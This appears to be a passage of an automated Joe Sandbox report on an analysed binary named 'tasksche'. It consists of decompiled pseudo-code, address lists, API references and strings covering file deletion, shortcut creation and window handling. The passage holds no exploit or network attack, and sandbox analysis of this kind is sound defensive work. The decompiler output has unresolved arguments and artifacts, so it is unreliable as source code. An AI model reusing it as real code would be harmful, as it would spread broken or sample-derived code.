									__eflags = __eax - 0x54;
									__eax = __ebp - 0x2440;
									if(__eflags == 0) {
										_push(0x43e822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 7;
									} else {
										_push(0x440822);
										_push(__eax);
										__eax = E00410B9C();
										 *(__ebp - 0x18) = 0x10;
									}
								}
								__eax = 0;
								 *(__ebp - 0xbc90) = __ax;
								 *(__ebp - 0x4c40) = __ax;
								__ebp - 0x19c90 = __ebp - 0x6c88;
								__eax = E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c90);
								__eflags =  *(__ebp - 0x6c88) - 0x22;
								_pop(__ecx);
								_pop(__ecx);
								if( *(__ebp - 0x6c88) != 0x22) {
									__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
									__eflags = __al;
									if(__al != 0) {
										goto L148;
									}
									 *(__ebp - 0x10) =  *(__ebp - 0x10) & 0x00000000;
									__eflags =  *(__ebp - 0x6c88);
									__edi = __ebp - 0x6c88;
									if( *(__ebp - 0x6c88) == 0) {
										goto L148;
									} else {
										goto L136;
									}
									do {
										L136:
										__eax = __edi->i & 0x0000ffff;
										__eflags = __ax - 0x20;
										if(__ax == 0x20) {
											L138:
											__esi = __ax & 0x0000ffff;
											__eax = 0;
											__edi->i = __ax;
											__ebp - 0x6c88 = E004092A5(__ebp - 0x6c88);
											__eflags = __al;
											if(__al == 0) {
												__edi->i = __si;
												goto L145;
											}
											 *(__ebp - 0x10) = __edi;
											__eflags = __si - 0x2f;
											if(__si != 0x2f) {
												do {
													__edi =  &(__edi->i);
													__edi =  &(__edi->i);
													__eflags = __edi->i - 0x20;
												} while (__edi->i == 0x20);
												_push(__edi);
												__eax = __ebp - 0x4c40;
												L143:
												_push(__eax);
												E0041A7F7() =  *(__ebp - 0x10);
												_pop(__ecx);
												_pop(__ecx);
												 *( *(__ebp - 0x10)) = __si;
												goto L145;
											}
											_push(0x2f);
											_pop(__eax);
											 *(__ebp - 0x4c40) = __ax;
											__eax =  &(__edi->i);
											_push( &(__edi->i));
											__eax = __ebp - 0x4c3e;
											goto L143;
										}
										__eflags = __ax - 0x2f;
										if(__ax != 0x2f) {
											goto L145;
										}
										goto L138;
										L145:
										__edi =  &(__edi->i);
										__edi =  &(__edi->i);
										__eflags = __edi->i;
									} while (__edi->i != 0);
									__eflags =  *(__ebp - 0x10);
									if( *(__ebp - 0x10) != 0) {
										__ecx =  *(__ebp - 0x10);
										__eax = 0;
										__eflags = 0;
										 *( *(__ebp - 0x10)) = __ax;
									}
									goto L148;
								} else {
									__ebp - 0x19c8e = __ebp - 0x6c88;
									E0041A7F7(__ebp - 0x6c88, __ebp - 0x19c8e) = __ebp - 0x6c86;
									__eax = E0041CA29(__ebp - 0x6c86, 0x22);
									__eflags = __eax;
									if(__eax != 0) {
										__ecx = 0;
										 *__eax = __cx;
										__ebp - 0x4c40 = E0041A7F7(__ebp - 0x4c40, __ebp - 0x4c40);
										_pop(__ecx);
										_pop(__ecx);
									}
									L148:
									__esi = 0;
									__eflags =  *((intOrPtr*)(__ebp - 0x11c90)) - __si;
									if( *((intOrPtr*)(__ebp - 0x11c90)) != __si) {
										__ebp - 0xbc90 = __ebp - 0x11c90;
										__eax = E0040A9CB(__edi, __ebp - 0x11c90, __ebp - 0xbc90, __ebx);
									}
									__ebp - 0xcc90 = __ebp - 0x6c88;
									__eax = E0040A9CB(__edi, __ebp - 0x6c88, __ebp - 0xcc90, __ebx);
									__eflags =  *(__ebp - 0x2440) - __si;
									if(__eflags == 0) {
										__ebp - 0x2440 = E0040D212(__ecx, __ebp - 0x2440,  *(__ebp - 0x18));
									}
									__ebp - 0x2440 = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									__eflags =  *((intOrPtr*)(__ebp - 0x17c90)) - __si;
									if(__eflags != 0) {
										__ebp - 0x17c90 = __ebp - 0x2440;
										E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x17c90, __ebx) = __ebp - 0x2440;
										__eax = E0040A116(__eflags, __ebp - 0x2440, __ebx);
									}
									__ebp - 0x2440 = __ebp - 0xac90;
									__eax = E0041A7F7(__ebp - 0xac90, __ebp - 0x2440);
									_pop(__ecx);
									_pop(__ecx);
									__eax = __ebp - 0x13c90;
									__eflags =  *(__ebp - 0x13c90) - __si;
									if(__eflags == 0) {
										__eax = __ebp - 0x19c90;
									}
									__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, __ebp - 0x2440, __ebx);
									__eax = __ebp - 0x2440;
									__eflags = E0040A76A(__ebp - 0x2440) - __esi;
									if(__eflags == 0) {
										L158:
										__ebp - 0x2440 = E00410BC9(__eflags, __ebp - 0x2440, L".lnk", __ebx);
										goto L159;
									} else {
										__eflags = __eax;
										if(__eflags == 0) {
											L159:
											__ebp - 0x2440 = E0040935F(__ebx, __ecx, __edi, __ebp - 0x2440, 1);
											__ebp - 0xcc90 = __ebp - 0x9c90;
											__eax = E0041A7F7(__ebp - 0x9c90, __ebp - 0xcc90);
											_pop(__ecx);
											_pop(__ecx);
											__ebp - 0x9c90 = E0040A7F3(__eflags, __ebp - 0x9c90);
											 *(__ebp - 0x4c40) & 0x0000ffff =  ~( *(__ebp - 0x4c40) & 0x0000ffff);
											asm("sbb eax, eax");
											__ecx = __ebp - 0x4c40;
											__eax =  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40;
											 *(__ebp - 0xbc90) & 0x0000ffff =  ~( *(__ebp - 0xbc90) & 0x0000ffff);
											asm("sbb ecx, ecx");
											__edx = __ebp - 0xbc90;
											__ecx =  ~( *(__ebp - 0xbc90) & 0x0000ffff) & __ebp - 0x0000bc90;
											 *(__ebp - 0x15c90) & 0x0000ffff =  ~( *(__ebp - 0x15c90) & 0x0000ffff);
											asm("sbb edx, edx");
											__esi = __ebp - 0x15c90;
											__edx =  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90;
											 *(__ebp - 0x9c90) & 0x0000ffff =  ~( *(__ebp - 0x9c90) & 0x0000ffff);
											asm("sbb esi, esi");
											__edi = __ebp - 0x9c90;
											__esi =  ~( *(__ebp - 0x9c90) & 0x0000ffff) & __edi;
											__ebp - 0x2440 = __ebp - 0xcc90;
											__eax = E00419BB0(__ecx, 0, __ebp - 0xcc90, __ebp - 0x2440, __esi,  ~( *(__ebp - 0x15c90) & 0x0000ffff) & __ebp - 0x00015c90, __ecx,  ~( *(__ebp - 0x4c40) & 0x0000ffff) & __ebp - 0x00004c40);
											__eflags =  *(__ebp - 0xac90);
											if( *(__ebp - 0xac90) != 0) {
												__eax = __ebp - 0xac90;
												SHChangeNotify(0x1000, 5, __ebp - 0xac90, 0);
											}
											goto L163;
										}
										goto L158;
									}
								}
							case 0xb:
								__eflags =  *(__ebp + 0x10) - 7;
								if( *(__ebp + 0x10) == 7) {
									 *0x441878 = 1;
								}
								goto L163;
							case 0xc:
								__eax =  *(__ebp - 0x4440) & 0x0000ffff;
								__eax = E0041D265( *(__ebp - 0x4440) & 0x0000ffff);
								__eflags = __eax - 0x46;
								if(__eax == 0x46) {
									 *0x441823 = 1;
								} else {
									__eflags = __eax - 0x55;
									if(__eax == 0x55) {
										 *0x441822 = 1;
									} else {
										 *0x441823 = 0;
										 *0x441822 = 0;
									}
								}
								goto L163;
							case 0xd:
								 *0x44185d = 1;
								__eax = __eax + 0x44185d;
								__ecx = __ecx + __ebp;
								 *0x7d830000 =  *0x7d830000 ^ __eax;
								__eflags =  *0x7d830000;
								goto L163;
						}
						L4:
						_t274 = E0040DCB8(_t336, _t274,  *(_t354 - 0x10));
						 *(_t354 - 0x10) =  *(_t354 - 0x10) + 0x2000;
						_t15 = _t354 - 0x18;
						 *_t15 =  *((intOrPtr*)(_t354 - 0x18)) - 1;
						if( *_t15 != 0) {
							goto L4;
						} else {
							 *(_t354 - 0x10) =  *(_t354 - 0x10) & 0x00000000;
							goto L6;
						}
						L163:
						_t347 = _t354 - 0xec90;
						_t271 = E0040D781(_t354 - 0x11, _t354 - 0xec90, _t352,  *((intOrPtr*)(_t354 + 0xc)), _t354 - 0x4440, _t354 + 0xf, 0x1000);
						 *((intOrPtr*)(_t354 + 0xc)) = _t271;
					} while (_t271 != 0);
				}
			}

0x0040e85c
0x0040e866
0x0040e86f
0x0040f434
0x0040f437
0x0040f43f
0x0040f43f
0x0040e891
0x0040e896
0x0040e89b
0x0040e8a2
0x0040e8a9
0x0040e8a9
0x0040e8af
0x0040e8b5
0x0040e8ba
0x0040e8c0
0x0040e8c3
0x0040e8c3
0x00000000
0x0040e8e3
0x0040e8fd
0x0040e904
0x00000000
0x0040e906
0x00000000
0x0040e906
0x0040e904
0x0040e90f
0x00000000
0x00000000
0x0040e918
0x00000000
0x0040e91f
0x0040e923
0x00000000
0x00000000
0x0040e931
0x0040e94c
0x0040e957
0x0040e95c
0x0040e96d
0x0040e978
0x0040e97d
0x0040e98c
0x0040e991
0x0040e993
0x0040eaf2
0x0040eaf2
0x0040eafc
0x00000000
0x0040e999
0x0040e999
0x0040e99e
0x0040e9a7
0x0040e9ad
0x0040e9b4
0x0040ea5c
0x0040ea63
0x0040ea65
0x0040ea68
0x00000000
0x00000000
0x0040ea71
0x0040ea77
0x0040ea79
0x00000000
0x0040ea7b
0x0040ea7b
0x0040ea7e
0x0040ea7f
0x0040ea87
0x0040ea97
0x0040ea9c
0x0040eaa6
0x0040eaa8
0x0040eaab
0x0040ea81
0x0040ea81
0x0040ea81
0x0040ea84
0x00000000
0x0040eaad
0x0040eabb
0x0040eac1
0x0040eac3
0x0040ead0
0x0040ead0
0x00000000
0x0040eac3
0x0040eaab
0x0040ea79
0x0040e9c9
0x0040e9d6
0x0040e9e2
0x0040e9e8
0x0040e9eb
0x0040e9ee
0x0040ea02
0x0040ea09
0x0040ea0e
0x0040ea10
0x00000000
0x00000000
0x0040ea16
0x0040ea1d
0x0040ea22
0x0040ea26
0x0040ea33
0x0040ea38
0x0040ea3b
0x0040ea3d
0x0040ea3e
0x0040ea48
0x0040ea4f
0x0040ea56
0x00000000
0x0040ea56
0x0040e9f7
0x0040e9fd
0x0040ea00
0x00000000
0x00000000
0x00000000
0x0040ead6
0x0040ead6
0x0040eae5
0x0040eaea
0x0040eaea
0x00000000
0x0040e99e
0x00000000
0x0040eb06
0x0040eb0a
0x0040eb10
0x0040eb15
0x0040eb17
0x0040eb1b
0x0040eb1f
0x0040eb27
0x0040eb2c
0x0040eb2d
0x0040eb2d
0x0040eb2e
0x0040eb32
0x0040eb3c
0x0040eb44
0x0040eb34
0x0040eb34
0x0040eb34
0x0040eb46
0x0040eb4a
0x0040eb5c
0x0040eb4c
0x0040eb4c
0x0040eb4c
0x0040eb5f
0x0040eb64
0x0040eb6a
0x0040eb6b
0x0040eb71
0x0040eb76
0x0040eb79
0x0040eb7d
0x0040eb82
0x0040eb84
0x0040eb84
0x0040eb86
0x0040eb86
0x0040eb8b
0x0040eb90
0x0040eb94
0x0040eb95
0x0040eb96
0x0040eb9c
0x0040eb9d
0x0040eba2
0x0040eba2
0x0040eb96
0x00000000
0x00000000
0x0040eba8
0x0040ebac
0x0040ebbc
0x0040ebbc
0x00000000
0x00000000
0x0040ebc7
0x0040ebcb
0x00000000
0x00000000
0x0040ebd1
0x0040ebd9
0x00000000
0x00000000
0x0040ebdf
0x0040ebe1
0x0040ebe9
0x0040ebef
0x0040ebf2
0x0040ebf9
0x0040ebfb
0x0040ec01
0x0040ec01
0x0040ec05
0x0040ec0b
0x0040ec0d
0x00000000
0x0040ec13
0x0040ec13
0x0040ec16
0x0040ec1a
0x0040ec36
0x0040ec36
0x0040ec3a
0x0040ed1b
0x0040ed1b
0x0040ed1c
0x0040ed1c
0x0040ed22
0x0040ed23
0x0040ed28
0x0040ed28
0x0040ed29
0x0040ed2a
0x0040ed2a
0x0040ed33
0x0040ed38
0x0040ed39
0x0040ed3a
0x0040ed3c
0x0040ed3e
0x0040ed43
0x0040ed45
0x0040ed45
0x0040ed47
0x0040ed47
0x0040ed43
0x0040ed52
0x0040ed57
0x0040ed58
0x0040ed61
0x0040ed71
0x0040ed7b
0x0040ed8a
0x0040ed90
0x0040ed98
0x0040ed9d
0x0040ed9e
0x0040ed9f
0x0040eda1
0x0040edb6
0x0040edb6
0x00000000
0x0040eda1
0x0040ec40
0x0040ec43
0x0040ec50
0x0040ec50
0x0040ec62
0x0040ec68
0x0040ec6a
0x0040ec70
0x0040ec77
0x0040ec85
0x0040ec95
0x0040ec9b
0x0040ec9e
0x0040eca3
0x0040eca6
0x0040eca8
0x0040eca8
0x0040ecab
0x0040ecab
0x0040ecad
0x0040ecad
0x0040ecb5
0x0040ecbd
0x0040ecbf
0x0040ecc6
0x0040eccb
0x0040ecd5
0x0040ece3
0x0040ece8
0x0040ece9
0x0040ece9
0x0040ecd5
0x0040ecf0
0x0040ecf2
0x0040ecfe
0x0040ed02
0x0040ed08
0x00000000
0x0040ed0a
0x0040ed14
0x00000000
0x0040ed14
0x0040ed08
0x0040ec45
0x0040ec4a
0x00000000
0x00000000
0x00000000
0x0040ec4a
0x0040ec1c
0x0040ec21
0x00000000
0x00000000
0x0040ec23
0x0040ec23
0x0040ec26
0x0040ec2a
0x00000000
0x00000000
0x0040ec30
0x00000000
0x0040ec30
0x00000000
0x0040edc1
0x0040edc2
0x0040edc7
0x0040edc9
0x0040edcb
0x0040edcc
0x0040edcc
0x00000000
0x0040ee02
0x0040ee09
0x0040ee09
0x0040ee0c
0x0040ee39
0x0040ee39
0x0040ee40
0x00000000
0x0040ee40
0x0040ee0e
0x0040ee0e
0x0040ee11
0x0040ee26
0x0040ee2d
0x0040ee2d
0x00000000
0x0040ee2d
0x0040ee13
0x0040ee13
0x0040ee14
0x00000000
0x00000000
0x0040ee16
0x0040ee16
0x0040ee17
0x00000000
0x00000000
0x0040ee1d
0x00000000
0x00000000
0x0040ee8f
0x0040ee93
0x00000000
0x00000000
0x0040ee95
0x0040eea1
0x0040eea6
0x0040eea7
0x0040eea8
0x0040eeaa
0x00000000
0x00000000
0x0040eeac
0x00000000
0x00000000
0x0040eed4
0x0040eed8
0x0040f04f
0x0040f04f
0x0040f053
0x0040f059
0x0040f060
0x0040f062
0x0040f062
0x0040f06c
0x0040f06c
0x00000000
0x0040f053
0x0040eee6
0x0040eef4
0x0040eef9
0x0040eefd
0x0040eeff
0x0040ef0c
0x0040ef0c
0x0040ef1a
0x0040ef2a
0x0040ef30
0x0040ef31
0x0040ef33
0x0040ef36
0x00000000
0x00000000
0x0040ef06
0x0040ef06
0x0040ef06
0x0040ef09
0x0040ef09
0x0040ef44
0x0040ef4a
0x0040ef52
0x00000000
0x00000000
0x0040ef58
0x0040ef5f
0x00000000
0x00000000
0x0040ef65
0x0040ef67
0x0040ef6e
0x0040ef77
0x0040ef7c
0x0040ef7d
0x0040ef7e
0x0040ef80
0x0040efcc
0x0040efcc
0x0040efd4
0x0040efdd
0x0040efe9
0x0040eff7
0x0040effc
0x0040f006
0x0040f00b
0x0040f00d
0x0040f01d
0x0040f027
0x0040f02d
0x0040f030
0x00000000
0x0040f036
0x0040f03b
0x0040f042
0x0040f049
0x00000000
0x0040f049
0x0040f030
0x0040ef82
0x0040ef84
0x0040ef8b
0x00000000
0x00000000
0x0040ef8d
0x0040ef93
0x0040ef93
0x0040ef97
0x00000000
0x00000000
0x0040ef99
0x0040ef9a
0x0040efa1
0x0040efa5
0x00000000
0x00000000
0x00000000
0x0040efa7
0x0040efa9
0x0040efb4
0x0040efbb
0x0040efc0
0x0040efc1
0x0040efc1
0x0040efc3
0x0040efc4
0x00000000
0x00000000
0x0040f078
0x0040f07c
0x0040f07e
0x0040f086
0x0040f092
0x0040f092
0x0040f098
0x0040f0a0
0x0040f0a0
0x0040f0a5
0x00000000
0x00000000
0x0040f0b1
0x0040f0b5
0x0040eebc
0x0040eebc
0x00000000
0x0040eebc
0x0040f0bb
0x0040eeae
0x0040eeae
0x0040eeb1
0x0040eeb7
0x00000000
0x00000000
0x0040f0c2
0x0040f0c6
0x00000000
0x00000000
0x0040f0cc
0x0040f0ce
0x0040f0d5
0x0040f0dd
0x0040f0e3
0x0040f0e4
0x0040f0e7
0x0040f11c
0x0040f121
0x0040f127
0x0040f128
0x0040f12d
0x0040f0e9
0x0040f0e9
0x0040f0ec
0x0040f0f2
0x0040f108
0x0040f10d
0x0040f10e
0x0040f113
0x0040f0f4
0x0040f0f4
0x0040f0f9
0x0040f0fa
0x0040f0ff
0x0040f0ff
0x0040f0f2
0x0040f134
0x0040f136
0x0040f13d
0x0040f14b
0x0040f152
0x0040f157
0x0040f15f
0x0040f160
0x0040f161
0x0040f1b2
0x0040f1b7
0x0040f1b9
0x00000000
0x00000000
0x0040f1bf
0x0040f1c3
0x0040f1cb
0x0040f1d1
0x00000000
0x00000000
0x00000000
0x00000000
0x0040f1d3
0x0040f1d3
0x0040f1d3
0x0040f1d6
0x0040f1da
0x0040f1e2
0x0040f1e2
0x0040f1e5
0x0040f1e7
0x0040f1f1
0x0040f1f6
0x0040f1f8
0x0040f238
0x00000000
0x0040f238
0x0040f1fa
0x0040f1fd
0x0040f201
0x0040f219
0x0040f219
0x0040f21a
0x0040f21b
0x0040f21b
0x0040f221
0x0040f222
0x0040f228
0x0040f228
0x0040f22e
0x0040f231
0x0040f232
0x0040f233
0x00000000
0x0040f233
0x0040f203
0x0040f205
0x0040f206
0x0040f20d
0x0040f210
0x0040f211
0x00000000
0x0040f211
0x0040f1dc
0x0040f1e0
0x00000000
0x00000000
0x00000000
0x0040f23b
0x0040f23b
0x0040f23c
0x0040f23d
0x0040f23d
0x0040f243
0x0040f247
0x0040f249
0x0040f24c
0x0040f24c
0x0040f24e
0x0040f24e
0x00000000
0x0040f163
0x0040f16a
0x0040f176
0x0040f17f
0x0040f187
0x0040f189
0x0040f18f
0x0040f191
0x0040f19f
0x0040f1a4
0x0040f1a5
0x0040f1a5
0x0040f251
0x0040f251
0x0040f253
0x0040f25a
0x0040f264
0x0040f26b
0x0040f26b
0x0040f278
0x0040f27f
0x0040f284
0x0040f28b
0x0040f297
0x0040f297
0x0040f2a4
0x0040f2a9
0x0040f2b0
0x0040f2ba
0x0040f2c7
0x0040f2ce
0x0040f2ce
0x0040f2da
0x0040f2e1
0x0040f2e6
0x0040f2e7
0x0040f2e8
0x0040f2ee
0x0040f2f5
0x0040f2f7
0x0040f2f7
0x0040f30c
0x0040f311
0x0040f31d
0x0040f31f
0x0040f330
0x0040f33d
0x00000000
0x0040f321
0x0040f32c
0x0040f32e
0x0040f342
0x0040f34b
0x0040f357
0x0040f35e
0x0040f363
0x0040f364
0x0040f36c
0x0040f378
0x0040f37a
0x0040f37c
0x0040f382
0x0040f38b
0x0040f38d
0x0040f38f
0x0040f395
0x0040f39e
0x0040f3a0
0x0040f3a2
0x0040f3a8
0x0040f3b3
0x0040f3b6
0x0040f3b8
0x0040f3be
0x0040f3c8
0x0040f3d1
0x0040f3d6
0x0040f3de
0x0040f3e2
0x0040f3f0
0x0040f3f0
0x00000000
0x0040f3de
0x00000000
0x0040f32e
0x0040f31f
0x00000000
0x0040f3f8
0x0040f3fc
0x0040f3fe
0x0040f3fe
0x00000000
0x00000000
0x0040ee4c
0x0040ee54
0x0040ee5a
0x0040ee5d
0x0040ee83
0x0040ee5f
0x0040ee5f
0x0040ee62
0x0040ee77
0x0040ee64
0x0040ee64
0x0040ee6b
0x0040ee6b
0x0040ee62
0x00000000
0x00000000
0x0040eec8
0x0040eec9
0x0040eece
0x0040eed0
0x0040eed0
0x00000000
0x00000000
0x0040e8ca
0x0040e8ce
0x0040e8d3
0x0040e8da
0x0040e8da
0x0040e8dd
0x00000000
0x0040e8df
0x0040e8df
0x00000000
0x0040e8df
0x0040f405
0x0040f41b
0x0040f421
0x0040f426
0x0040f429
0x0040f433

APIs

__EH_prolog.LIBCMT ref: 0040E85C

Part of subcall function 0040D781: ExpandEnvironmentStringsW.KERNEL32(00000000,?,00001000), ref: 0040D82F

SetFileAttributesW.KERNEL32(?,00000000,?,00000000,?,?,00000800,?,00000000,76D7BB20,?,0040F541,?,00000003), ref: 0040E9A7
_wcslen.LIBCMT ref: 0040E9E2
_wcslen.LIBCMT ref: 0040E9F7
_wcslen.LIBCMT ref: 0040EA1D
_memset.LIBCMT ref: 0040EA33
SHFileOperationW.SHELL32 ref: 0040EA56
GetFileAttributesW.KERNEL32(?), ref: 0040EA63
DeleteFileW.KERNEL32(?), ref: 0040EA71
_wcscat.LIBCMT ref: 0040EB27
_wcslen.LIBCMT ref: 0040EB5F
_realloc.LIBCMT ref: 0040EB71
_wcscat.LIBCMT ref: 0040EB8B
SetWindowTextW.USER32(?,?), ref: 0040EBBC
_wcslen.LIBCMT ref: 0040EC05
_wcscpy.LIBCMT ref: 0040ED23
_wcsrchr.LIBCMT ref: 0040ED33
_wcscpy.LIBCMT ref: 0040ED52
GetDlgItem.USER32 ref: 0040ED6B
SetWindowTextW.USER32(00000000,?), ref: 0040ED7B
SendMessageW.USER32(00000000,00000143,00000000,%s.%d.tmp), ref: 0040ED8A
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0040EDB6

Strings

%s.%d.tmp, xrefs: 0040E999, 0040EA8E, 0040ED51, 0040ED81, 0040ED97
", xrefs: 0040EBE1
\, xrefs: 0040ECCB
ProgramFilesDir, xrefs: 0040EC7D
C:\Windows, xrefs: 0040E8B5
<br>, xrefs: 0040EB21
Software\Microsoft\Windows\CurrentVersion, xrefs: 0040EC58

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: _wcslen$File$AttributesMessageSendTextWindow_wcscat_wcscpy$DeleteEnvironmentExpandH_prologItemOperationStrings_memset_realloc_wcsrchr
String ID: "$%s.%d.tmp$<br>$C:\Windows$ProgramFilesDir$Software\Microsoft\Windows\CurrentVersion$\
API String ID: 3339014310-2533930246
Opcode ID: 114082ad274461536ed57109f8b6e2670455e60a5bd40f743d430fb24242c176
Instruction ID: 0f1639a2c7fd1c8d50817f8e0d6f0902ef34777a202bf9cba062cd401a3abf5d
Opcode Fuzzy Hash: 114082ad274461536ed57109f8b6e2670455e60a5bd40f743d430fb24242c176
Instruction Fuzzy Hash: F2F14EB1900219AADB20DBA1DC45BEE7378FF04314F4408BBFA15B21D1EB789A958F59

Uniqueness

Uniqueness Score: -1.00%

Function 0040C15C Relevance: 21.2, APIs: 14, Instructions: 205
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 69%

			E0040C15C(intOrPtr __ecx, void* __edx, void* __eflags, signed int _a4, intOrPtr _a8, struct HWND__* _a12) {
				char _v5;
				struct HWND__* _v12;
				signed int _v16;
				signed int _v20;
				int _v24;
				int _v28;
				int _v32;
				intOrPtr _v36;
				struct tagRECT _v52;
				struct tagRECT _v68;
				struct tagRECT _v84;
				short _v2132;
				signed int _t115;
				struct HWND__* _t117;
				signed int _t135;
				signed int _t159;
				struct HWND__* _t173;
				signed int _t174;
				int _t177;
				void* _t181;
				signed int _t182;
				signed int _t185;
				signed int _t194;
				void* _t196;
				void* _t197;
				void* _t200;
				int _t201;
				int _t204;

				_v36 = __ecx;
				_v5 = E0040C075(__ecx, __edx, _a8,  &_v20,  &_v16);
				GetWindowRect(_a4,  &_v52);
				GetClientRect(_a4,  &_v84);
				_t115 = _v84.right;
				_t181 = _v52.right - _v52.left + 1;
				_t200 = _v52.bottom - _v52.top + 1;
				_t196 = _t200 - _v84.bottom;
				_t173 = _t181 - _t115;
				_v12 = _t173;
				if(_v5 == 0) {
					L9:
					_t201 = 0x400;
					if(_a12 == 0) {
						GetWindowTextW(_a4,  &_v2132, 0x400);
						E0040BF1D(_v36,  &_v2132,  &_v2132, 0x400, 1, _a8);
						SetWindowTextW(_a4,  &_v2132); // executed
					}
					L12:
					_t197 = _t196 - GetSystemMetrics(8);
					_t117 = GetWindow(_a4, 5);
					_a4 = _a4 & 0x00000000;
					_a12 = _t117;
					_v12 = _t117;
					while(_t117 != 0) {
						if(_a4 >= 0x200) {
							break;
						}
						GetWindowTextW(_a12,  &_v2132, _t201);
						if(_v2132 != 0) {
							E0040BF1D(_v36,  &_v2132,  &_v2132, _t201, 1, _a8);
							SetWindowTextW(_a12,  &_v2132); // executed
						}
						if(_v5 != 0) {
							GetWindowRect(_a12,  &_v68);
							_push(0x204);
							asm("cdq");
							_t182 = 0x64;
							_push((_v68.bottom - _v68.top + 1) * _v16 / _t182);
							asm("cdq");
							_push((_v68.right - _v68.left + 1) * _v20 / _t182);
							_t135 = (_v68.top - _t197 - _v52.top) * _v16;
							asm("cdq");
							_push(_t135 / _t182);
							asm("cdq");
							_t185 = 0x64;
							asm("cdq");
							SetWindowPos(_a12, 0, (_v68.left - (_t173 - _t135 % _t182 >> 1) - _v52.left) * _v20 / _t185, ??, ??, ??, ??);
						}
						_t117 = GetWindow(_a12, 2);
						_a12 = _t117;
						if(_t117 == _v12) {
							break;
						} else {
							_a4 = _a4 + 1;
							continue;
						}
					}
					return _t117;
				}
				if(_a12 != 0) {
					_t201 = 0x400;
					goto L12;
				}
				asm("cdq");
				_t174 = 0x64;
				_v24 = _v12 + _t115 * _v20 / _t174;
				_t159 = _v84.bottom * _v16;
				asm("cdq");
				_t194 = _t159 % _t174;
				_v28 = _t159 / _t174 + _t196;
				asm("cdq");
				_t177 = (_t181 - _v24 - _t194 >> 1) + _v52.left;
				asm("cdq");
				_t204 = (_t200 - _v28 - _t194 >> 1) + _v52.top;
				if(_t177 < 0) {
					_t177 = 0;
				}
				if(_t204 < 0) {
					_t204 = 0;
				}
				_v32 = 0x204;
				if((GetWindowLongW(_a4, 0xfffffff0) & 0x00000800) == 0) {
					_v32 = 0x206;
				}
				SetWindowPos(_a4, 0, _t177, _t204, _v24, _v28, _v32);
				GetWindowRect(_a4,  &_v52);
				_t173 = _v12;
				goto L9;
			}

0x0040c173
0x0040c17b
0x0040c185
0x0040c192
0x0040c1a4
0x0040c1a7
0x0040c1a8
0x0040c1ad
0x0040c1b0
0x0040c1b6
0x0040c1b9
0x0040c258
0x0040c25c
0x0040c261
0x0040c26e
0x0040c285
0x0040c294
0x0040c294
0x0040c2a1
0x0040c2ae
0x0040c2b0
0x0040c2b6
0x0040c2ba
0x0040c2bd
0x0040c399
0x0040c2cc
0x00000000
0x00000000
0x0040c2dd
0x0040c2eb
0x0040c2fe
0x0040c30d
0x0040c30d
0x0040c317
0x0040c320
0x0040c32c
0x0040c336
0x0040c339
0x0040c33c
0x0040c348
0x0040c34b
0x0040c354
0x0040c358
0x0040c35b
0x0040c35e
0x0040c373
0x0040c374
0x0040c37d
0x0040c37d
0x0040c388
0x0040c38e
0x0040c394
0x00000000
0x0040c396
0x0040c396
0x00000000
0x0040c396
0x0040c394
0x0040c3a5
0x0040c3a5
0x0040c1c3
0x0040c29c
0x00000000
0x0040c29c
0x0040c1cd
0x0040c1d0
0x0040c1d6
0x0040c1dc
0x0040c1e0
0x0040c1e1
0x0040c1e5
0x0040c1ed
0x0040c1f9
0x0040c1fc
0x0040c203
0x0040c208
0x0040c20a
0x0040c20a
0x0040c20e
0x0040c210
0x0040c210
0x0040c217
0x0040c229
0x0040c22b
0x0040c22b
0x0040c242
0x0040c24f
0x0040c255
0x00000000

APIs

Part of subcall function 0040C075: _wcschr.LIBCMT ref: 0040C0A5

GetWindowRect.USER32 ref: 0040C185
GetClientRect.USER32 ref: 0040C192
GetWindowLongW.USER32(?,000000F0), ref: 0040C21E
SetWindowPos.USER32(?,00000000,?,?,?,?,00000204), ref: 0040C242
GetWindowRect.USER32 ref: 0040C24F
GetWindowTextW.USER32 ref: 0040C26E
SetWindowTextW.USER32(?,?), ref: 0040C294
GetSystemMetrics.USER32 ref: 0040C2A3
GetWindow.USER32(?,00000005), ref: 0040C2B0
GetWindowTextW.USER32 ref: 0040C2DD
SetWindowTextW.USER32(00000000,00000000), ref: 0040C30D
GetWindowRect.USER32 ref: 0040C320
SetWindowPos.USER32(00000000,00000000,00000000,00000110,00000000,00000110,00000204), ref: 0040C37D
GetWindow.USER32(00000000,00000002), ref: 0040C388

Memory Dump Source

Source File: 00000009.00000002.972524104.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.972509385.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972629044.000000000042A000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972655263.0000000000430000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972710887.0000000000435000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972776724.000000000044F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000009.00000002.972789964.0000000000452000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: Window$RectText$ClientLongMetricsSystem_wcschr
String ID:
